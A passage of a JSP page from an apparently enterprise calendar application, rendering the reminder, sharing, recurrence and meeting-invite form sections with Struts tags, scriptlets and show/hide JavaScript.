<!--End MeetingSubDetail-->

					<tr><td><font color='red'><b>
					  <div id='promptA' style="visibility:hidden"><!--<bean:message key ='calendar.label.accept'/>--></div>
					  <div id='promptT' style="visibility:hidden"><!--<bean:message key ='calendar.label.tentative'/>--></div>
					  <div id='promptR' style="visibility:hidden"><!--<bean:message key ='calendar.label.reject'/>--></div>
					</b></font></td></tr>

<!--START REMIND-->
          <tr>
            <td>
              <table width="780" border="0" cellspacing="2" cellpadding="0">
                <tr>
                  <td width="15%"><div class="sectionTitle"><bean:message key ='calendar.label.reminders'/></div></td>
                  <td width="85%" align="left">
                    <span id="divReminderShow">
                      [<a href="" onclick="showBlock('divReminderHide'); hideBlock('divReminderShow'); toggleBlock('reminders'); return false" onMouseOver="window.status='reminders';return true;"><bean:message key ='calendar.label.hide'/></a>]
                      <script language="Javascript">
                        <%if(!Utility.isEmpty(maintCalendarForm.getReminderType()) && !maintCalendarForm.getReminderType().equals(",")){%>
                          showBlock("divReminderShow");
                        <%}else{%>
                          hideBlock("divReminderShow");
                        <%}%>
                      </script>
                    </span>
                    <span id="divReminderHide">
                      [<a href="" onclick="hideBlock('divReminderHide'); showBlock('divReminderShow'); toggleBlock('reminders'); return false" onMouseOver="window.status='reminders';return true;"><bean:message key ='calendar.label.show'/></a>]
                      <script language="Javascript">
                         <%if(!Utility.isEmpty(maintCalendarForm.getReminderType()) && !maintCalendarForm.getReminderType().equals(",")){%>
                          hideBlock("divReminderHide");
                        <%}else{%>
                          showBlock("divReminderHide");
                        <%}%>
                      </script>
                    </span>
                  </td>
                </tr>
                <tr><td colspan="2"><div class="sectionLine">&nbsp;</div></td></tr>
              </table>
            </td>
          </tr>
          <tr>
            <td>
              <div id="reminders">
              <table width="100%" border="0" cellspacing="2" cellpadding="0">
              <tr>
                <td class="formLabelSmall" width="21%"><bean:message key='calendar.label.remind'/>:</td>
                <td class="formFieldSmall" width="79%">
                  <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
                      <%
                        for(int i=0; i<valAry.length; i++){
                          if(valAry[i].equals(maintCalendarForm.getReminderAmount())){
                      %>
                          <bean:message key='<%=txtAry[i]%>'/><input type='hidden' name='reminderAmount' value='<%=valAry[i]%>'>
                      <%
                          break;
                          }
                        }
                      %>

                  <%}else{%>
                      <select name ="reminderAmount" disabled>
                      <%
                      for(int i=0; i< valAry.length; i++){%>
                        <option value='<%=valAry[i]%>' <%=(valAry[i].equals(maintCalendarForm.getReminderAmount())?"selected" : "")%> ><%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), txtAry[i])%></option>
                      <%
                      }
                      %>
                      </select>
                  <%}%>
                  <bean:message key='calendar.label.before'/>
                </td>
              </tr>
              <tr>
                <td class="formLabelSmall" width="21%" valign="top"><bean:message key='calendar.label.reminder_type'/>:
                </td>
                <td class="formFieldSmall" width="79%">
                  <%//String reminderType=null;
          if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
                      <%
                        reminderType = maintCalendarForm.getReminderType()==null?"":maintCalendarForm.getReminderType();
                      %>
                      <% if ("".equals(reminderType)) { %>&nbsp;<bean:write name='maintCalendarForm' scope='request' property='reminderType'/> <% } %>
            <%if(supportEmail){%>
                        <% if (reminderType.indexOf(CalendarRecord.REMINDER_TYPE_EMAIL)>=0) { %><bean:message key='calendar.label.email_reminder'/><br><% } %>
            <%}%>
                      <% if (reminderType.indexOf(CalendarRecord.REMINDER_TYPE_SYSTEM)>=0) { %><bean:message key='calendar.label.system_reminder'/><% } %>
                  <%}else{%>
                      <%
                        reminderType = maintCalendarForm.getReminderType()==null? session.getAttribute("reminderType")==null? "" : (String)session.getAttribute("reminderType") :maintCalendarForm.getReminderType();
                      %>
            <%if(supportEmail){%>
                        <nobr>
                        <input onClick="enabledReminder()"  type='checkbox' name='emailReminder' value="<%=CalendarRecord.REMINDER_TYPE_EMAIL%>" <%=reminderType.indexOf(CalendarRecord.REMINDER_TYPE_EMAIL)>=0?"checked":""%>><bean:message key='calendar.label.email_reminder'/></nobr><br>
            <%}%>
                      <nobr><input onClick="enabledReminder()" type='checkbox' name='systemReminder' value="<%=CalendarRecord.REMINDER_TYPE_SYSTEM%>" <%=reminderType.indexOf(CalendarRecord.REMINDER_TYPE_SYSTEM)>=0?"checked":""%>><bean:message key='calendar.label.system_reminder'/></nobr>
                  <%}%>
                </td>
              </tr>
              </table>
                <script language="Javascript">
    <%      if(!Utility.isEmpty(reminderType) && !maintCalendarForm.getReminderType().equals(",")){%>
            showBlock("reminders");
          <%if(!GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
            document.maintCalendarForm.reminderAmount.disabled = false;
    <%      }
        }else{                                             %>
                    hideBlock("reminders");
          <%if(!GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
          document.maintCalendarForm.reminderAmount.disabled = true;
    <%      }
        }
    %>
          function enabledReminder(){
            var isChecked = false;
            <%if(supportEmail){%>
            if (document.maintCalendarForm.emailReminder.checked || document.maintCalendarForm.systemReminder.checked ) {
              document.maintCalendarForm.reminderAmount.disabled = false;
              if (document.maintCalendarForm.emailReminder.checked){
                document.maintCalendarForm.reminderType.value="E";
              } else {
                document.maintCalendarForm.reminderType.value="";
              }
              if (document.maintCalendarForm.systemReminder.checked){
                document.maintCalendarForm.reminderType.value+=",S";
              }
            } else {
              document.maintCalendarForm.reminderAmount.disabled = true;
              document.maintCalendarForm.reminderType.value="";
            }
            <%}else{%>
                            if (document.maintCalendarForm.systemReminder.checked ) {
              document.maintCalendarForm.reminderAmount.disabled = false;
              document.maintCalendarForm.reminderType="S";
            } else {
              document.maintCalendarForm.reminderAmount.disabled = true;
              document.maintCalendarForm.reminderType="";
            }
            <%}%>
          }
                </script>
              </div>
            </td>
          </tr>
<!--END  Reminder-->
<!--START SHARE-->
<%  if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)) {       %>
          <tr>
            <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
          </tr>
<%
      String[] shareByUsers = request.getParameterValues("userIDsToShare");
      String[] shareByGroups = request.getParameterValues("groupIDsToShare");;
      String[] shareByRoles = request.getParameterValues("roleIDsToShare");;
      List shareByUsersList = null;
      List shareByGroupsList = null;
      List shareByRolesList= null;

      MtmCalendarUserUserActorDAObject mtmCalendarSharingDAO = new MtmCalendarUserUserActorDAObject(sessionContainer, conn);

      if ("N".equals(maintCalendarForm.getNavMode())) {
        shareByUsersList = (ArrayList) mtmCalendarSharingDAO.getActorIDListByShareIDUserActorType(sessionContainer.getUserRecordID(), MtmCalendarUserUserActor.ACTOR_TYPE_USER);
        if (shareByUsersList.size()>0){
          haveShared="true";
          shareByUsers = new String[shareByUsersList.size()];
          for (int j=0; j<shareByUsersList.size();j++){
            shareByUsers[j]=shareByUsersList.get(j).toString();
          }
        }
        shareByGroupsList = (ArrayList) mtmCalendarSharingDAO.getActorIDListByShareIDUserActorType(sessionContainer.getUserRecordID(), MtmCalendarUserUserActor.ACTOR_TYPE_GROUP);
        if (shareByGroupsList.size()>0){
          haveShared="true";
          shareByGroups = new String[shareByGroupsList.size()];
          for (int j=0; j<shareByGroupsList.size();j++){
            shareByGroups[j]=shareByGroupsList.get(j).toString();
          }
        }
        shareByRolesList = (ArrayList) mtmCalendarSharingDAO.getActorIDListByShareIDUserActorType(sessionContainer.getUserRecordID(), MtmCalendarUserUserActor.ACTOR_TYPE_ROLE);
        if (shareByRolesList.size()>0){
          haveShared="true";
          shareByRoles = new String[shareByRolesList.size()];
          for (int j=0; j<shareByRolesList.size();j++){
            shareByRoles[j]=shareByRolesList.get(j).toString();
          }
        }

      } else {
        shareByUsers = maintCalendarForm.getUserIDsToShare()==null? new String[0]:maintCalendarForm.getUserIDsToShare();
        shareByGroups = maintCalendarForm.getGroupIDsToShare()==null?  new String[0]:maintCalendarForm.getGroupIDsToShare();
        shareByRoles = maintCalendarForm.getRoleIDsToShare()==null? new String[0]: maintCalendarForm.getRoleIDsToShare();
        if ( (shareByUsers.length>0) || ( shareByGroups.length>0) || ( shareByRoles.length>0 ) ){
          haveShared = "true";
        }
      }
%>
          <tr><td>
            <table width="780" border="0" cellspacing="2" cellpadding="0">
              <tr>
                <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
              </tr>
              <tr>
                <td width="15%"><div class="sectionTitle"><bean:message key ='calendar.label.share'/></div></td>
                <td width="85%" align="left">
                  <span id="divShareShow">
                    [<a href="" onclick="showBlock('divShareHide'); hideBlock('divShareShow'); toggleBlock('share'); return false" onMouseOver="window.status='share';return true;"><bean:message key ='calendar.label.hide'/></a>]
                    <script language="Javascript">
                      <%  if ( "true".equals(haveShared) )  {   %>
                        showBlock("divShareShow");
                      <%  } else {  %>
                        hideBlock("divShareShow");
                      <%  }%>

                    </script>
                  </span>
                  <span id="divShareHide">
                    [<a href="" onclick="hideBlock('divShareHide'); showBlock('divShareShow'); toggleBlock('share'); return false" onMouseOver="window.status='share';return true;"><bean:message key ='calendar.label.show'/></a>]
                    <script language="Javascript">
                      <%  if ( !"true".equals(haveShared) )  {  %>
                        showBlock("divShareHide");
                      <%  } else {  %>
                        hideBlock("divShareHide");
                      <%  }%>

                    </script>
                  </span>
                </td>
              </tr>
              <tr><td colspan="2"><div class="sectionLine">&nbsp;</div></td></tr>
            </table>
            </td>
          </tr>

          <tr>
            <td>
              <DIV id="share">
                <table width="780" border="0" cellspacing="2" cellpadding="0">
                <tr>
                  <td class="formLabelSmall" width="21%"><bean:message key='calendar.label.share_type'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0">
                      <tr>
                        <td class="formFieldSmall">				
                        <%if("S".equals(request.getParameter("caleType"))){%>
                        <input type='radio' name='shareType' onmousedown="remindPublic(this)"  value='<%=CalendarRecord.SHARE_TYPE_PRIVATE%>'<%= CalendarRecord.SHARE_TYPE_PRIVATE.equals(maintCalendarForm.getShareType()) ? " checked" : "" %>
                          <%if(Utility.isEmpty(maintCalendarForm.getShareType())){
                              if ("0".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.CALENDAR_SHARE_TYPE))
                                ||Utility.isEmpty(SystemParameterFactory.getSystemParameter(SystemParameterConstant.CALENDAR_SHARE_TYPE))) {
                                out.print(" checked ");
                              } 
                            }
                          %>
                        >
                        <bean:message key='calendar.label.private'/>
                        <input type='radio' name='shareType' onmousedown="remindPublic(this)" value='<%=CalendarRecord.SHARE_TYPE_SHOW_TITLE%>'<%= CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(maintCalendarForm.getShareType()) ? " checked" : "" %>
                          <%if(Utility.isEmpty(maintCalendarForm.getShareType())){
                              if ("1".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.CALENDAR_SHARE_TYPE))) {
                              out.print(" checked ");
                              } 
                            }
                          %>
                        >
                        <bean:message key='calendar.label.show_title'/>
                        <input type='radio' name='shareType' onmousedown="remindPublic(this)" value='<%=CalendarRecord.SHARE_TYPE_PUBLIC%>' <%= CalendarRecord.SHARE_TYPE_PUBLIC.equals(maintCalendarForm.getShareType()) ? " checked" : "" %>
                        <%if(Utility.isEmpty(maintCalendarForm.getShareType())){
                            if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.CALENDAR_SHARE_TYPE))) {
                              out.print(" checked ");
                            } 
                          }
                        %>
                        >
                        <bean:message key='calendar.label.public'/>
						<%} else {%>
                          <html:radio property='shareType' value='<%=CalendarRecord.SHARE_TYPE_PRIVATE%>' onmousedown="remindPublic(this)"><bean:message key='calendar.label.private'/></html:radio>
                          <html:radio property='shareType' value='<%=CalendarRecord.SHARE_TYPE_SHOW_TITLE%>' onmousedown="remindPublic(this)"><bean:message key='calendar.label.show_title'/></html:radio>
                          <html:radio property='shareType' value='<%=CalendarRecord.SHARE_TYPE_PUBLIC%>' onmousedown="remindPublic(this)"><bean:message key='calendar.label.public'/></html:radio>
                        <%}%>                     				
                        </td>
                      </tr>
                    </table>
                  </td>
                </tr>

                <tr>
                  <td class="formLabelSmall" width='21%' valign='top'><bean:message key="calendar.label.colleague_share"/>:&nbsp;
                  </td>
                  <td class="formFieldSmall" width="79%">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0">
                      <tr>
                            <%
                              if(maintCalendarForm.getUserIDsToShare()==null){
                                maintCalendarForm.setUserIDsToShare(shareByUsers);
                              }
                              if(maintCalendarForm.getGroupIDsToShare()==null){
                                maintCalendarForm.setGroupIDsToShare(shareByGroups);
                              }
                              if(maintCalendarForm.getRoleIDsToShare()==null){
                                maintCalendarForm.setRoleIDsToShare(shareByRoles);
                              }
															//Code Add By Jim.Zhou				2006/06/12				Bug #5635
															String[] disableName = new String[1];
															disableName[0] = sessionContainer.getUserRecordID().toString();
															//Code Add End
                            %>
            <td colspan="3">
              <html:inviteePicker name="share" propertyUser="userIDsToShare" propertyGroup="groupIDsToShare" propertyRole="roleIDsToShare" valueUser='<%=shareByUsers%>' valueGroup='<%=shareByGroups%>' valueRole='<%=shareByRoles%>' suggestWidth='300' textWidth='100' width="500" height="70" onBlur="missFocus(this)"  />
            </td>
                      </tr>
                    </table>
                  </td>
                </tr>
                </table>
  <script language="Javascript">
  <%  if ( "true".equals(haveShared) )  {   %>
        showBlock("share");
  <%  } else {  %>
        hideBlock("share");
  <%  }%>
  </script>
              </div>
            </td>
          </tr>
<%  }else {%>
         <input type='hidden' name='shareType'  value='<%=CalendarRecord.SHARE_TYPE_PRIVATE%>' checked>
<%  } %>

          <tr>
            <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
          </tr>
<!--END SHARE-->

<!--START RECURRENCE-->
<%if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)) {%>
          <tr>
            <td>
              <table width="780" border="0" cellspacing="2" cellpadding="0">
              <tr>
                <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
              </tr>
              <tr>
                <td width="15%"><div class="sectionTitle" ><bean:message key ='calendar.label.recurrence'/></div></td>
                <td width="85%" align="left">
                  <span id="divRecurShow">
                    [<a href="" onclick="showBlock('divRecurHide'); hideBlock('divRecurShow'); toggleBlock('recurrence'); return false" onMouseOver="window.status='recurrence';return true;"><bean:message key ='calendar.label.hide'/></a>]
                    <script language="Javascript">
                      <%  if ("Y".equals(maintCalendarForm.getIsRecurrence())) {  %>
                          showBlock("divRecurShow");
                      <%  } else {  %>
                          hideBlock("divRecurShow");
                      <%  }%>

                    </script>

                  </span>

                  <span id="divRecurHide">
                    [<a href="" onclick="hideBlock('divRecurHide'); showBlock('divRecurShow'); toggleBlock('recurrence'); return false" onMouseOver="window.status='recurrence';return true;"><bean:message key ='calendar.label.show'/></a>]
                    <script language="Javascript">
                      <%  if (!"Y".equals(maintCalendarForm.getIsRecurrence())) { %>
                          showBlock("divRecurHide");
                      <%  } else {  %>
                          hideBlock("divRecurHide");
                      <%  }%>

                    </script>
                  </span>
                </td>
              </tr>
              <tr><td colspan="2"><div class="sectionLine">&nbsp;</div></td></tr>
              </table>
            </td>
          </tr>

          <tr>
            <td>
              <DIV id="recurrence">
                <table width="100%" border="0" cellspacing="2" cellpadding="0">
                <tr>
                  <td class="formLabelSmall" width="21%" valign="top"><bean:message key="calendar.label.recurrence"/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%">
                    <input onMouseUp="return enabledRecurrence()" type='checkbox' name='isRecurrence' value="<%=CalendarRecur.IS_RECUR_EVENT%>" <%="Y".equals(maintCalendarForm.getIsRecurrence())? "checked":""%> <%=GlobalConstant.NAV_MODE_VIEW.equals(navMode) ? "disabled" : ""%>><bean:message key='calendar.label.this_is_recurring_event'/>
                  </td>
                </tr>
<script language="javascript">
var isChecked = false;
function enabledRecurrence (){

  if (document.maintCalendarForm.isRecurrence.checked) {
    isChecked = true;
  }
  if (isChecked) {
    document.maintCalendarForm.dummy_recurStartDate.disabled = true;
    document.maintCalendarForm.dummy_recurEndDate.disabled = true;
    document.maintCalendarForm.noEndDate.disabled = true;
    document.maintCalendarForm.recurType[0].disabled = true;
    document.maintCalendarForm.recurType[1].disabled = true;


    document.maintCalendarForm.repeatOn.disabled = true;
    document.maintCalendarForm.repeatType.disabled = true;
    document.maintCalendarForm.occurType.disabled = true;
    document.maintCalendarForm.occurWeekDay.disabled = true;
    document.maintCalendarForm.occurMonth.disabled = true;
  } else {
    document.maintCalendarForm.dummy_recurStartDate.disabled = false;
//    document.maintCalendarForm.recurEndDate.disabled = false;
    document.maintCalendarForm.noEndDate.disabled = false;
    document.maintCalendarForm.recurType[0].disabled = false;
    document.maintCalendarForm.recurType[1].disabled = false;

    document.maintCalendarForm.recurType[1].checked = true;
    document.maintCalendarForm.repeatOn.disabled = true;
    document.maintCalendarForm.repeatType.disabled = true;
    document.maintCalendarForm.occurType.disabled = false;
    document.maintCalendarForm.occurWeekDay.disabled = false;
    document.maintCalendarForm.occurMonth.disabled = false;
  }
  isChecked = !isChecked;
  return false;
}

function enabledRecurTypeA() {
  document.maintCalendarForm.repeatOn.disabled = false;
  document.maintCalendarForm.repeatType.disabled = false;
  document.maintCalendarForm.occurType.disabled = true;
  document.maintCalendarForm.occurWeekDay.disabled = true;
  document.maintCalendarForm.occurMonth.disabled = true;
}

function enabledRecurTypeB() {
  document.maintCalendarForm.repeatOn.disabled = true;
  document.maintCalendarForm.repeatType.disabled = true;
  document.maintCalendarForm.occurType.disabled = false;
  document.maintCalendarForm.occurWeekDay.disabled = false;
  document.maintCalendarForm.occurMonth.disabled = false;
}

//if Recurrence is checked ,enabled the vaild date
function enabledRecurrenceSubpart(){
  if (document.maintCalendarForm.isRecurrence.checked) {
    isChecked = true;
  }
  if (isChecked) {
    document.maintCalendarForm.dummy_recurStartDate.disabled = false;
    if(document.maintCalendarForm.noEndDate.checked!=true)
      document.maintCalendarForm.dummy_recurEndDate.disabled = false;
    document.maintCalendarForm.recurType[0].disabled = false;
    document.maintCalendarForm.recurType[1].disabled = false;
    document.maintCalendarForm.noEndDate.disabled = false;
    if (document.maintCalendarForm.recurType[0].checked){
      enabledRecurTypeA() ;
    }else{
      enabledRecurTypeB() ;
    }
  }
}

</script>




<%

    String recurrenceType="";

    String endDate=null;
    String repeatOn=""; %>
                <tr>
                  <td class="formLabelSmall" width="21%" valign="top"><bean:message key="calendar.label.recur_date_range"/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%">&nbsp;
                    <bean:message key='calendar.label.recur_start_date'/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                    <%
                        String dateString2 = null;
            String dateStringDisp = null;
                        if(maintCalendarForm.getRecurStartDate()!=null){
                        java.util.Date date = formatter.parse(maintCalendarForm.getRecurStartDate());
                        dateString2 = formatter1.format(date);
                      }
                    %>
                    <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
                        <%=maintCalendarForm.getRecurStartDate()==null ? "" : dateString2%>
                    <%}else{%>
        <input type="text" name="dummy_recurStartDate" maxlength="10" size="10" onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).split(" ")[0].toLowerCase()%>'));" disabled='true' value="<%=(maintCalendarForm.getRecurStartDate()!=null) ? dateString2 : StrDispSelectedDate%>"><a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick=" if (!dummy_recurStartDate.disabled){gfPop.fPopCalendar(dummy_recurStartDate,recurStartDate,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).split(" ")[0].toLowerCase()%>',true);}"><html:img src='IconCalendar.gif'  align="absmiddle" width="34" height="21" border="0" alt=""/></a><%//Update By Jim Zhou				2006/12/13			EIP-194%>
<input type="hidden" name="recurStartDate" value="<%=(maintCalendarForm.getRecurStartDate()!=null) ? (maintCalendarForm.getRecurStartDate()) : (StrSelectedDate+" 00:00:00")%>">

                    <%}%>
                    <br>&nbsp;
                    <bean:message key='calendar.label.recur_end_date'/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                    <%
                        String dateString3 = null;
                        if(maintCalendarForm.getRecurEndDate()!=null){
                          java.util.Date date = formatter.parse(maintCalendarForm.getRecurEndDate());
                          dateString3 = formatter1.format(date);

                        }

                   %>

                   <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
                        <%=maintCalendarForm.getRecurEndDate()==null ? "" : dateString3%>
                   <%}else{%>

        <input type="text" name="dummy_recurEndDate" maxlength="10" size="10" onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).split(" ")[0].toLowerCase()%>'));" disabled='true' value='<%=(maintCalendarForm.getRecurEndDate()!=null) ? dateString3 : ""%>'><a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick=" if (!dummy_recurEndDate.disabled){getEndDateValue();gfPop.fPopCalendar(dummy_recurEndDate,recurEndDate,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).split(" ")[0].toLowerCase()%>',true);}"><html:img src='IconCalendar.gif'  align="absmiddle" width="34" height="21" border="0" alt=""/></a>
<input type="hidden" name="recurEndDate" value="<%=(maintCalendarForm.getRecurEndDate()!=null) ? maintCalendarForm.getRecurEndDate() : ""%>" >



                   <%}%>
                   &nbsp;&nbsp;
                   <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
                   <%}else{%>
                      <input disabled='true' type='checkbox' name='noEndDate' value="<%=GlobalConstant.TRUE%>" <%=maintCalendarForm.getRecurEndDate()!=null? "":"checked"%> onClick="opSelectNoEndDate(maintCalendarForm)"><bean:message key='calendar.label.no_end_date'/>
                   <%}%>
                  </td>
                </tr>
                <tr>
                  <td class="formLabelSmall" width="21%" valign="top"><bean:message key='calendar.label.recurrence_type'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0">
                    <tr>
                      <td class="formFieldSmall">
                        <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
                        	<%if("A".equals(maintCalendarForm.getRecurType()) || Utility.isEmpty(maintCalendarForm.getRecurType())){%>
                          &nbsp;&nbsp;<bean:message key='calendar.label.repeat'/>&nbsp;
                          <%for (int i = 0; i < repeatAry.length; i++) {
                              if (repeatAry[i][0].equals(maintCalendarForm.getRepeatOn())) {  %>
                                <bean:message key="<%=repeatAry[i][1]%>"/>
                              <%}
                            }%>
                            &nbsp;
                          <%for (int i = 0; i < repeatByAry.length; i++) {
                             if (repeatByAry[i][0].equals(maintCalendarForm.getRepeatType())) {  %>
                               <bean:message key="<%=repeatByAry[i][1]%>"/>
                           <%}
                           }%>
                          &nbsp;
                          <%  String repeatTypeDay = maintCalendarForm.getRepeatTypeDay()==null? "":maintCalendarForm.getRepeatTypeDay(); %>
                          <DIV id="repeatTypeDaySelect">
                          <%for (int i = 1; i < 8; i++) { %>
                          <%String tmpLabel = "calendar.label.occur_at_" + i; %>
                          <input type='checkbox' name='repeatTypeDay' value="<%=String.valueOf(i)%>" <%=(repeatTypeDay.indexOf(String.valueOf(i))>0)? "checked":""%>><bean:message key='<%=tmpLabel%>'/>&nbsp;
                          <%}%>

                          <script language="Javascript">
                          <%  if (maintCalendarForm.getRepeatTypeDay()!=null) { %>
                            showBlock("repeatTypeDaySelect");
                          <%  }else{  %>
                            hideBlock("repeatTypeDaySelect");
                          <%}%>
                          </script>

                          </DIV>
                          <%}else if("B".equals(maintCalendarForm.getRecurType())){%>
                          	<bean:message key='calendar.label.repeat_on_the'/>&nbsp;
                            <%for (int i = 0; i < occurSeqAry.length; i++) {
                              if (occurSeqAry[i][0].equals(maintCalendarForm.getOccurType() )) {%>
                                  <bean:message key="<%=occurSeqAry[i][1]%>"/>
                              <%}
                            }%>
                            <%for (int i = 1; i < 8; i++) {
                               String tmpLabel = "calendar.label.occur_at_" + i;
                                if (Integer.toString(i).equals(maintCalendarForm.getOccurWeekDay())) {  %>
                                <bean:message key="<%=tmpLabel%>"/>
                                <%}
                                }%>
                            <bean:message key="calendar.label.of_month"/>
                            <%for (int i = 0; i < occurMonthAry.length; i++) {
                                if (occurMonthAry[i][0].equals(maintCalendarForm.getOccurMonth()))  { %>
                                <bean:message key="<%=occurMonthAry[i][1]%>"/>
                            <%    }
                            }%>
                           <%}%> 
                        <%}else{%>
                          <input disabled='true' onMouseUp="return enabledRecurTypeA()" type="radio" name="recurType" value="A"<%= "A".equals(maintCalendarForm.getRecurType()) || Utility.isEmpty(maintCalendarForm.getRecurType()) ? " checked" : "" %>><bean:message key='calendar.label.repeat'/>&nbsp;
                          <select disabled='true' name="repeatOn">
                          <%for (int i = 0; i < repeatAry.length; i++) {  %>
                            <option <%= (repeatAry[i][0].equals((maintCalendarForm.getRepeatOn())) ? "selected" : "" ) %> value="<%=repeatAry[i][0]%>"><bean:message key="<%=repeatAry[i][1]%>"/></option>
                          <%}%>
                          </select>&nbsp;
                          <select disabled='true' name="repeatType" >
                          <%for (int i = 0; i < repeatByAry.length; i++) {  %>
                            <option <%= (repeatByAry[i][0].equals((maintCalendarForm.getRepeatType())) ? "selected" : "" ) %> value="<%=repeatByAry[i][0]%>"><bean:message key="<%=repeatByAry[i][1]%>"/></option>
                          <%}%>
                          </select>&nbsp;
                          <%  String repeatTypeDay = maintCalendarForm.getRepeatTypeDay()==null? "":maintCalendarForm.getRepeatTypeDay(); %>
                          <DIV id="repeatTypeDaySelect">
                          <%for (int i = 1; i < 8; i++) { %>
                            <%String tmpLabel = "calendar.label.occur_at_" + i; %>
                            <input  type='checkbox' name='repeatTypeDay' value="<%=String.valueOf(i)%>" <%=(repeatTypeDay.indexOf(String.valueOf(i))>0)? "checked":""%>><bean:message key='<%=tmpLabel%>'/>&nbsp;
                          <%}%>

                          <script language="Javascript">
                            <%  if (maintCalendarForm.getRepeatTypeDay()!=null) { %>
                                  showBlock("repeatTypeDaySelect");
                            <%  }else{  %>
                                  hideBlock("repeatTypeDaySelect");
                            <%}%>
                          </script>

                          </DIV>
												<br>
                            <input disabled='true' onMouseUp="enabledRecurTypeB()" type="radio" name="recurType" value="B"<%= "B".equals(maintCalendarForm.getRecurType()) || Utility.isEmpty(maintCalendarForm.getRecurType()) ? " checked" : "" %>><bean:message key='calendar.label.repeat_on_the'/>&nbsp;
                            <select disabled='true' name="occurType">
                              <%for (int i = 0; i < occurSeqAry.length; i++) {  %>
                                <option <%= (occurSeqAry[i][0].equals((maintCalendarForm.getOccurType())) ? "selected" : "" ) %> value="<%=occurSeqAry[i][0]%>"><bean:message key="<%=occurSeqAry[i][1]%>"/></option>
                              <%}%>
                            </select>&nbsp;
                            <select  disabled='true' name="occurWeekDay">
                              <%for (int i = 1; i < 8; i++) { %>
                              <%String tmpLabel = "calendar.label.occur_at_" + i; %>
                                <option <%= (Integer.toString(i).equals(maintCalendarForm.getOccurWeekDay()) ? "selected" : "" ) %> value="<%=String.valueOf(i)%>"><bean:message key="<%=tmpLabel%>"/></option>
                              <%}%>
                            </select>&nbsp;
                            <bean:message key="calendar.label.of_month"/>
                            <select  disabled='true' name="occurMonth">
                            <%for (int i = 0; i < occurMonthAry.length; i++) {  %>
                              <option <%= (occurMonthAry[i][0].equals((maintCalendarForm.getOccurMonth())) ? "selected" : "" ) %> value="<%=occurMonthAry[i][0]%>"><bean:message key="<%=occurMonthAry[i][1]%>"/></option>
                            <%}%>
                            </select>&nbsp;
                        <%}%>
                      </td>
                    </tr>
                    </table>
                  </td>
                </tr>
                </table>

  <script language="Javascript">
<%
  if ("Y".equals(maintCalendarForm.getIsRecurrence())) {  %>
      showBlock("recurrence");
<%  }else { %>
      hideBlock("recurrence");
<%  }%>
<%
  if ("Y".equals(maintCalendarForm.getIsRecurrence()) && !GlobalConstant.NAV_MODE_VIEW.equals(navMode)){ %>
  enabledRecurrenceSubpart();
<%}%>
  </script>

              </div>

            </td>
          </tr>
          <tr>
            <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
          </tr>
<%}//end: if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO))%>

<!--START INVITE-->
          <tr>
            <td>

<%
  if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_MEETING)){    
    String updateAlertID = maintCalendarForm.getUpdateAlertID()==null? null:maintCalendarForm.getUpdateAlertID();
    //get update alert recipient
    List recipientAry = new ArrayList();
    MtmUpdateAlertRecipientDAObject updateRecipientDAO = new MtmUpdateAlertRecipientDAObject(sessionContainer, conn);

    // Get all recipients.
    String[] userRecords = null;
    String[] userGroups = null;
    String[] userRoles = null;
    String recipientType = null;

    if(!Utility.isEmpty(maintCalendarForm.getNotifyWay())){
      showInvite = true;
    }
%>
            <table width="780" border="0" cellspacing="2" cellpadding="0">
            <tr>
              <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
            </tr>


            <tr>
              <td width="15%"><div class="sectionTitle"><bean:message key ='calendar.label.invite'/></div></td>
              <td width="85%" align="left">
                <span id="divInviteShow">
                [<a href="" onclick="showBlock('divInviteHide'); hideBlock('divInviteShow'); toggleBlock('invite'); return false" onMouseOver="window.status='invite';return true;"><bean:message key ='calendar.label.hide'/></a>]
                <script language="Javascript">
                  <%if (  showInvite == true  )  { %>
                    showBlock("divInviteShow");
                  <%} else {%>
                    hideBlock("divInviteShow");
                  <%}%>

                </script>
                </span>

                <span id="divInviteHide">
                  [<a href="" onclick="hideBlock('divInviteHide'); showBlock('divInviteShow'); toggleBlock('invite'); return false" onMouseOver="window.status='invite';return true;"><bean:message key ='calendar.label.show'/></a>]
                  <script language="Javascript">
